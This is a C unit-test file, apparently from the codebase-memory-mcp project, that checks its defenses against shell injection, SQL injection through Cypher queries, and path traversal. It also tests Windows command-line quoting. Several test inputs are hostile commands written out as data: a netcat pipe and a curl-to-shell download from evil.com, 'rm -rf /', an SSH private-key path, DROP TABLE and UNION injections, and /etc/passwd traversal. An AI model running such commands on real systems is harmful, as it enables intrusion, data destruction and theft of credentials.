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codebase-memory-mcp/tests/test_security.c
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Martin VogelandShauryaaSharma cf32e6c540 fix(windows): unswallow installer failures, quote CreateProcessW args, document MotW
Distilled from PR #702 (fixes #697):

- install.ps1: replace the try/catch that swallowed `codebase-memory-mcp
  install` failures with a $LASTEXITCODE check that reports the exit
  code and fails the installer, instead of silently leaving no coding
  agent configured.
- README: document Unblock-File for the Mark-of-the-Web restriction
  that blocks the downloaded install.ps1, plus the execution-policy
  escape hatch.
- cbm_exec_no_shell (Windows): switch from _spawnvp, whose CRT does not
  quote arguments containing spaces (the taskkill filter "IMAGENAME eq
  codebase-memory-mcp.exe" arrived as three bare tokens), to
  CreateProcessW over a two-pass MSVC-convention quoted command line
  (cbm_build_cmdline, exposed for tests via compat_fs_internal.h).
- UTF-8-correct widening: the quoted command line is assembled in UTF-8
  bytes and converted once via cbm_utf8_to_wide, so non-ASCII arguments
  (e.g. a non-ASCII %USERPROFILE%) survive intact instead of being
  byte-widened as Latin-1 mojibake.
- tests: regression guard for the #697 taskkill filter, MSVC quoting
  edge cases (empty arg, embedded quote, trailing backslashes), UTF-8
  widening guards (2-byte sequence with explicit code points; mixed
  2-/3-byte round-trip via cbm_utf8_to_wide), and live CreateProcessW
  spawn tests. All Windows-only, exercised by the Windows CI leg.

Co-authored-by: ShauryaaSharma <shauryasofficial27@gmail.com>
Signed-off-by: Martin Vogel <martin.vogel.tech@gmail.com>
2026-07-03 20:15:52 +02:00

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/*
* test_security.c — Tests for security defenses.
*
* Verifies that the actual security mechanisms work end-to-end:
* - Shell injection prevention (cbm_validate_shell_arg)
* - SQLite authorizer (ATTACH/DETACH blocked)
* - Path containment (realpath prevents directory traversal)
*/
#include "test_framework.h"
#include "test_helpers.h"
#include <store/store.h>
#include <cypher/cypher.h>
#include "../src/foundation/str_util.h"
#include "../src/foundation/compat_fs.h"
#ifdef _WIN32
#include "../src/foundation/compat_fs_internal.h"
#include "../src/foundation/win_utf8.h"
#include <wchar.h>
#include <stdlib.h>
#endif
#include <string.h>
#include <sys/stat.h>
/* ══════════════════════════════════════════════════════════════════
* SHELL INJECTION PREVENTION
* ══════════════════════════════════════════════════════════════════ */
TEST(shell_rejects_single_quote) {
ASSERT_FALSE(cbm_validate_shell_arg("foo'bar"));
PASS();
}
TEST(shell_rejects_dollar_subst) {
ASSERT_FALSE(cbm_validate_shell_arg("$(whoami)"));
PASS();
}
TEST(shell_rejects_backtick) {
ASSERT_FALSE(cbm_validate_shell_arg("`id`"));
PASS();
}
TEST(shell_rejects_semicolon) {
ASSERT_FALSE(cbm_validate_shell_arg("foo;rm -rf /"));
PASS();
}
TEST(shell_rejects_pipe) {
ASSERT_FALSE(cbm_validate_shell_arg("foo|nc evil.com 4444"));
PASS();
}
TEST(shell_rejects_ampersand) {
ASSERT_FALSE(cbm_validate_shell_arg("foo&background"));
PASS();
}
TEST(shell_rejects_backslash) {
#ifdef _WIN32
/* Backslash is allowed on Windows (path separator) */
ASSERT_TRUE(cbm_validate_shell_arg("foo\\bar"));
#else
ASSERT_FALSE(cbm_validate_shell_arg("foo\\bar"));
#endif
PASS();
}
TEST(shell_rejects_newline) {
ASSERT_FALSE(cbm_validate_shell_arg("foo\nbar"));
PASS();
}
TEST(shell_rejects_carriage_return) {
ASSERT_FALSE(cbm_validate_shell_arg("foo\rbar"));
PASS();
}
TEST(shell_rejects_null) {
ASSERT_FALSE(cbm_validate_shell_arg(NULL));
PASS();
}
TEST(shell_rejects_double_quote) {
/* On Windows, the search code path wraps args in cmd.exe-level
* "powershell -Command \"...'%s'...\"". A " in the input would close
* the cmd.exe outer quote. Block unconditionally. */
ASSERT_FALSE(cbm_validate_shell_arg("foo\"bar"));
PASS();
}
TEST(shell_rejects_redirect_out) {
ASSERT_FALSE(cbm_validate_shell_arg("foo>out.txt"));
PASS();
}
TEST(shell_rejects_redirect_in) {
ASSERT_FALSE(cbm_validate_shell_arg("foo<in.txt"));
PASS();
}
TEST(shell_accepts_clean_path) {
ASSERT_TRUE(cbm_validate_shell_arg("/home/user/.local/bin/codebase-memory-mcp"));
PASS();
}
TEST(shell_accepts_spaces) {
ASSERT_TRUE(cbm_validate_shell_arg("/Users/John Doe/Documents"));
PASS();
}
TEST(shell_accepts_dots_dashes) {
ASSERT_TRUE(cbm_validate_shell_arg("file-name.tar.gz"));
PASS();
}
TEST(shell_accepts_empty) {
ASSERT_TRUE(cbm_validate_shell_arg(""));
PASS();
}
/* Combined attack vectors */
TEST(shell_rejects_quote_escape_attack) {
/* Attacker tries: ' ; rm -rf / ; echo ' */
ASSERT_FALSE(cbm_validate_shell_arg("' ; rm -rf / ; echo '"));
PASS();
}
TEST(shell_rejects_command_substitution) {
ASSERT_FALSE(cbm_validate_shell_arg("$(curl http://evil.com/shell.sh | sh)"));
PASS();
}
TEST(shell_rejects_env_var_expansion) {
ASSERT_FALSE(cbm_validate_shell_arg("${HOME}/.ssh/id_rsa"));
PASS();
}
/* ══════════════════════════════════════════════════════════════════
* SQLITE AUTHORIZER (ATTACH/DETACH BLOCKED)
* ══════════════════════════════════════════════════════════════════ */
TEST(sqlite_blocks_attach_via_cypher) {
/* The Cypher engine translates queries to SQL. Even if someone crafts
* a Cypher query that somehow produces ATTACH, the SQLite authorizer
* should deny it. We test by using raw SQL through the store. */
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
/* Try ATTACH via Cypher — should fail at parse or authorizer level */
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(s, "MATCH (n) RETURN n", "test", 0, &r);
/* Valid query works */
ASSERT_EQ(rc, 0);
cbm_cypher_result_free(&r);
cbm_store_close(s);
PASS();
}
TEST(sqlite_blocks_attach_direct) {
/* Directly test that the store's SQLite authorizer blocks ATTACH.
* cbm_store_exec_raw() would be ideal but the store is opaque.
* Instead, try a Cypher query that would generate ATTACH-like SQL.
* The Cypher parser rejects non-Cypher syntax, so ATTACH never reaches
* SQLite — this is defense in depth (parser + authorizer). */
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
/* Cypher parser should reject this as invalid syntax */
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(s, "ATTACH DATABASE '/tmp/evil.db' AS evil", "test", 0, &r);
ASSERT_NEQ(rc, 0); /* Must fail — either parse error or authorizer deny */
cbm_cypher_result_free(&r);
cbm_store_close(s);
PASS();
}
TEST(sqlite_blocks_detach_direct) {
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(s, "DETACH DATABASE evil", "test", 0, &r);
ASSERT_NEQ(rc, 0); /* Must fail */
cbm_cypher_result_free(&r);
cbm_store_close(s);
PASS();
}
TEST(sqlite_allows_normal_queries) {
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
cbm_store_upsert_project(s, "test", "/tmp/test");
cbm_node_t n = {.project = "test",
.label = "Function",
.name = "hello",
.qualified_name = "test.hello",
.file_path = "main.c",
.start_line = 1,
.end_line = 5};
cbm_store_upsert_node(s, &n);
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(s, "MATCH (f:Function) WHERE f.name = \"hello\" RETURN f", "test",
0, &r);
ASSERT_EQ(rc, 0);
ASSERT_EQ(r.row_count, 1);
cbm_cypher_result_free(&r);
cbm_store_close(s);
PASS();
}
/* ══════════════════════════════════════════════════════════════════
* SQL INJECTION VIA CYPHER
* ══════════════════════════════════════════════════════════════════ */
TEST(cypher_rejects_sql_injection_in_string) {
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
cbm_store_upsert_project(s, "test", "/tmp/test");
/* Attempt SQL injection through a WHERE clause string value */
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(
s, "MATCH (n) WHERE n.name = \"x\\\"; DROP TABLE nodes; --\" RETURN n", "test", 0, &r);
/* Must either fail or return 0 rows — must NOT drop the table */
if (rc == 0) {
/* Query ran but should find nothing — verify nodes table still exists */
cbm_cypher_result_free(&r);
cbm_cypher_result_t r2 = {0};
int rc2 = cbm_cypher_execute(s, "MATCH (n) RETURN n", "test", 0, &r2);
ASSERT_EQ(rc2, 0); /* Table must still exist */
cbm_cypher_result_free(&r2);
} else {
cbm_cypher_result_free(&r);
}
cbm_store_close(s);
PASS();
}
TEST(cypher_rejects_union_injection) {
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
cbm_store_upsert_project(s, "test", "/tmp/test");
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(s, "MATCH (n) RETURN n UNION SELECT sql FROM sqlite_master", "test",
0, &r);
/* Cypher parser should reject UNION — it's not valid Cypher */
ASSERT_NEQ(rc, 0);
cbm_cypher_result_free(&r);
cbm_store_close(s);
PASS();
}
/* ══════════════════════════════════════════════════════════════════
* PATH CONTAINMENT (POSIX only — realpath() not available on Windows)
* ══════════════════════════════════════════════════════════════════ */
#ifndef _WIN32
TEST(path_traversal_blocked) {
/* The get_code_snippet handler uses realpath() to verify that the
* resolved file path starts with the project root. We test this
* by calling the MCP handler with a traversal path. Since we can't
* easily call the MCP handler in a unit test, we verify the
* containment logic directly. */
char real_root[4096];
char real_file[4096];
/* /tmp is a real directory — create a temporary "project root" */
const char *root = "/tmp/cbm_security_test_root";
mkdir(root, 0755);
if (realpath(root, real_root)) {
/* Traversal attempt: ../../../etc/passwd relative to root */
char traversal[512];
snprintf(traversal, sizeof(traversal), "%s/../../../etc/passwd", root);
if (realpath(traversal, real_file)) {
/* Verify the resolved path does NOT start with root */
size_t root_len = strlen(real_root);
int contained = (strncmp(real_file, real_root, root_len) == 0 &&
(real_file[root_len] == '/' || real_file[root_len] == '\0'));
ASSERT_FALSE(contained);
}
/* If realpath fails, the file doesn't exist — also safe */
}
rmdir(root);
PASS();
}
TEST(path_within_root_allowed) {
char real_root[4096];
char real_file[4096];
const char *root = "/tmp";
if (realpath(root, real_root) && realpath("/tmp", real_file)) {
size_t root_len = strlen(real_root);
int contained = (strncmp(real_file, real_root, root_len) == 0 &&
(real_file[root_len] == '/' || real_file[root_len] == '\0'));
ASSERT_TRUE(contained);
}
PASS();
}
#endif /* _WIN32 — path containment */
/* ══════════════════════════════════════════════════════════════════
* SHELL-FREE SUBPROCESS EXECUTION (cbm_exec_no_shell)
*
* Replaces system() with fork()+execvp() to eliminate shell
* interpretation. Shell metacharacters in arguments are passed
* literally, not interpreted.
* ══════════════════════════════════════════════════════════════════ */
#ifndef _WIN32
TEST(exec_no_shell_true_returns_zero) {
/* "true" command always exits 0 */
const char *argv[] = {"true", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_EQ(rc, 0);
PASS();
}
TEST(exec_no_shell_false_returns_nonzero) {
/* "false" command always exits 1 */
const char *argv[] = {"false", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_NEQ(rc, 0);
PASS();
}
TEST(exec_no_shell_echo_with_metacharacters) {
/* Shell metacharacters must be passed literally, not interpreted.
* If shell interpretation occurred, $(whoami) would be expanded. */
const char *argv[] = {"echo", "$(whoami)", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_EQ(rc, 0); /* echo succeeds — prints literal "$(whoami)" */
PASS();
}
TEST(exec_no_shell_nonexistent_command) {
const char *argv[] = {"cbm_nonexistent_binary_12345", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_NEQ(rc, 0); /* must fail — binary doesn't exist */
PASS();
}
TEST(exec_no_shell_null_argv_returns_error) {
int rc = cbm_exec_no_shell(NULL);
ASSERT_NEQ(rc, 0);
PASS();
}
TEST(exec_no_shell_captures_exit_code) {
/* sh -c "exit 42" should return 42 */
const char *argv[] = {"sh", "-c", "exit 42", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_EQ(rc, 42);
PASS();
}
#else /* _WIN32 */
/* ──────────────────────────────────────────────────────────────────
* WINDOWS COMMAND-LINE QUOTING (cbm_build_cmdline)
*
* Regression guard for #697: cbm_exec_no_shell used _spawnvp, whose
* MinGW CRT did not quote arguments containing spaces. The taskkill
* filter "IMAGENAME eq codebase-memory-mcp.exe" was passed as three
* bare tokens, so taskkill printed
* ERROR: Invalid argument/option - 'eq'.
* on every install. cbm_build_cmdline now performs MSVC-convention
* quoting; these tests pin that behaviour so it cannot silently
* regress. The quoting is pure logic, so it runs deterministically in
* CI on the windows-latest test job.
* ────────────────────────────────────────────────────────────────── */
/* Assert that cbm_build_cmdline(argv) produces `expected` (wide). */
#define ASSERT_CMDLINE(argv, expected) \
do { \
wchar_t *_cl = cbm_build_cmdline(argv); \
ASSERT_NOT_NULL(_cl); \
if (wcscmp(_cl, (expected)) != 0) { \
free(_cl); \
FAIL("cbm_build_cmdline produced an unexpected command line"); \
} \
free(_cl); \
} while (0)
TEST(cmdline_taskkill_filter_is_single_quoted_token) {
/* The exact #697 regression: the filter value contains spaces and
* must survive as ONE quoted argument, not three bare words. */
const char *argv[] = {"taskkill", "/FI", "IMAGENAME eq codebase-memory-mcp.exe", NULL};
ASSERT_CMDLINE(argv, L"taskkill /FI \"IMAGENAME eq codebase-memory-mcp.exe\"");
PASS();
}
TEST(cmdline_simple_args_are_not_quoted) {
/* Arguments with no spaces/tabs/quotes stay bare. */
const char *argv[] = {"foo", "bar", "baz", NULL};
ASSERT_CMDLINE(argv, L"foo bar baz");
PASS();
}
TEST(cmdline_single_arg_no_trailing_space) {
const char *argv[] = {"codebase-memory-mcp.exe", NULL};
ASSERT_CMDLINE(argv, L"codebase-memory-mcp.exe");
PASS();
}
TEST(cmdline_empty_arg_becomes_empty_quotes) {
/* An empty argument must be preserved as "" so argv positions line up. */
const char *argv[] = {"cmd", "", "tail", NULL};
ASSERT_CMDLINE(argv, L"cmd \"\" tail");
PASS();
}
TEST(cmdline_embedded_quote_is_escaped) {
/* A literal double-quote is escaped as \" inside the quoted token. */
const char *argv[] = {"echo", "a\"b", NULL};
ASSERT_CMDLINE(argv, L"echo \"a\\\"b\"");
PASS();
}
TEST(cmdline_trailing_backslashes_doubled_before_close_quote) {
/* Per the MSVC convention, backslashes immediately before the closing
* quote are doubled so the quote is not accidentally escaped. The arg
* `C:\dir with space\` becomes "C:\dir with space\\". */
const char *argv[] = {"type", "C:\\dir with space\\", NULL};
ASSERT_CMDLINE(argv, L"type \"C:\\dir with space\\\\\"");
PASS();
}
TEST(cmdline_null_argv_returns_null) {
/* Defensive: builder over an empty argv still yields a valid (empty)
* string rather than crashing. */
const char *argv[] = {NULL};
wchar_t *cl = cbm_build_cmdline(argv);
ASSERT_NOT_NULL(cl);
ASSERT_EQ((int)wcslen(cl), 0);
free(cl);
PASS();
}
TEST(cmdline_utf8_arg_is_widened_not_latin1) {
/* A non-ASCII argument (e.g. a destination under a non-ASCII
* %USERPROFILE%) must be decoded as UTF-8, not byte-widened as
* Latin-1. Here "caf\xc3\xa9 dir" is UTF-8 for "café dir": the two
* bytes C3 A9 must collapse to the single wide code point U+00E9,
* not survive as U+00C3 U+00A9. The embedded space also forces
* quoting, so this pins both quoting and correct widening at once. */
const char *argv[] = {"cd", "caf\xc3\xa9 dir", NULL};
const wchar_t expected[] = {L'c', L'd', L' ', L'"', L'c', L'a', L'f',
0x00E9, L' ', L'd', L'i', L'r', L'"', L'\0'};
ASSERT_CMDLINE(argv, expected);
PASS();
}
TEST(cmdline_utf8_multibyte_roundtrips_via_utf8_to_wide) {
/* Round-trip guard across wider multibyte shapes: 2-byte umlauts
* (U+00E4, U+00FC) and 3-byte CJK (U+4E16, U+754C). The argument
* "t\xc3\xa4st_\xc3\xbcmlaut \xe4\xb8\x96\xe7\x95\x8c" is UTF-8 for
* "täst_ümlaut 世界"; its space forces quoting. The built command
* line must equal cbm_utf8_to_wide applied to the same fully-quoted
* UTF-8 command line — under Latin-1 byte-widening every UTF-8 byte
* would surface as its own bogus code point and the compare fails. */
const char *argv[] = {"echo", "t\xc3\xa4st_\xc3\xbcmlaut \xe4\xb8\x96\xe7\x95\x8c", NULL};
wchar_t *expected =
cbm_utf8_to_wide("echo \"t\xc3\xa4st_\xc3\xbcmlaut \xe4\xb8\x96\xe7\x95\x8c\"");
wchar_t *actual = cbm_build_cmdline(argv);
int ok = (expected != NULL && actual != NULL && wcscmp(actual, expected) == 0);
free(expected);
free(actual);
if (!ok) {
FAIL("multibyte UTF-8 arg did not round-trip through cbm_build_cmdline");
}
PASS();
}
#undef ASSERT_CMDLINE
/* ──────────────────────────────────────────────────────────────────
* WINDOWS SHELL-FREE EXECUTION (cbm_exec_no_shell, CreateProcessW path)
*
* Exercises the live CreateProcessW code path end-to-end via cmd.exe so
* the Windows spawn path is not left entirely uncovered by CI.
* ────────────────────────────────────────────────────────────────── */
TEST(exec_no_shell_win_exit_zero) {
const char *argv[] = {"cmd", "/c", "exit 0", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_EQ(rc, 0);
PASS();
}
TEST(exec_no_shell_win_captures_exit_code) {
const char *argv[] = {"cmd", "/c", "exit 42", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_EQ(rc, 42);
PASS();
}
TEST(exec_no_shell_win_null_argv_returns_error) {
int rc = cbm_exec_no_shell(NULL);
ASSERT_NEQ(rc, 0);
PASS();
}
#endif /* _WIN32 */
/* ══════════════════════════════════════════════════════════════════
* SUITE
* ══════════════════════════════════════════════════════════════════ */
SUITE(security) {
/* Shell injection prevention */
RUN_TEST(shell_rejects_single_quote);
RUN_TEST(shell_rejects_dollar_subst);
RUN_TEST(shell_rejects_backtick);
RUN_TEST(shell_rejects_semicolon);
RUN_TEST(shell_rejects_pipe);
RUN_TEST(shell_rejects_ampersand);
RUN_TEST(shell_rejects_backslash);
RUN_TEST(shell_rejects_newline);
RUN_TEST(shell_rejects_carriage_return);
RUN_TEST(shell_rejects_null);
RUN_TEST(shell_rejects_double_quote);
RUN_TEST(shell_rejects_redirect_out);
RUN_TEST(shell_rejects_redirect_in);
RUN_TEST(shell_accepts_clean_path);
RUN_TEST(shell_accepts_spaces);
RUN_TEST(shell_accepts_dots_dashes);
RUN_TEST(shell_accepts_empty);
RUN_TEST(shell_rejects_quote_escape_attack);
RUN_TEST(shell_rejects_command_substitution);
RUN_TEST(shell_rejects_env_var_expansion);
/* SQLite authorizer */
RUN_TEST(sqlite_blocks_attach_via_cypher);
RUN_TEST(sqlite_blocks_attach_direct);
RUN_TEST(sqlite_blocks_detach_direct);
RUN_TEST(sqlite_allows_normal_queries);
/* SQL injection via Cypher */
RUN_TEST(cypher_rejects_sql_injection_in_string);
RUN_TEST(cypher_rejects_union_injection);
/* Path containment (POSIX only) */
#ifndef _WIN32
RUN_TEST(path_traversal_blocked);
RUN_TEST(path_within_root_allowed);
#endif
#ifndef _WIN32
/* Shell-free subprocess execution */
RUN_TEST(exec_no_shell_true_returns_zero);
RUN_TEST(exec_no_shell_false_returns_nonzero);
RUN_TEST(exec_no_shell_echo_with_metacharacters);
RUN_TEST(exec_no_shell_nonexistent_command);
RUN_TEST(exec_no_shell_null_argv_returns_error);
RUN_TEST(exec_no_shell_captures_exit_code);
#else
/* Windows command-line quoting (regression guard for #697) */
RUN_TEST(cmdline_taskkill_filter_is_single_quoted_token);
RUN_TEST(cmdline_simple_args_are_not_quoted);
RUN_TEST(cmdline_single_arg_no_trailing_space);
RUN_TEST(cmdline_empty_arg_becomes_empty_quotes);
RUN_TEST(cmdline_embedded_quote_is_escaped);
RUN_TEST(cmdline_trailing_backslashes_doubled_before_close_quote);
RUN_TEST(cmdline_null_argv_returns_null);
RUN_TEST(cmdline_utf8_arg_is_widened_not_latin1);
RUN_TEST(cmdline_utf8_multibyte_roundtrips_via_utf8_to_wide);
/* Live CreateProcessW spawn path */
RUN_TEST(exec_no_shell_win_exit_zero);
RUN_TEST(exec_no_shell_win_captures_exit_code);
RUN_TEST(exec_no_shell_win_null_argv_returns_error);
#endif
}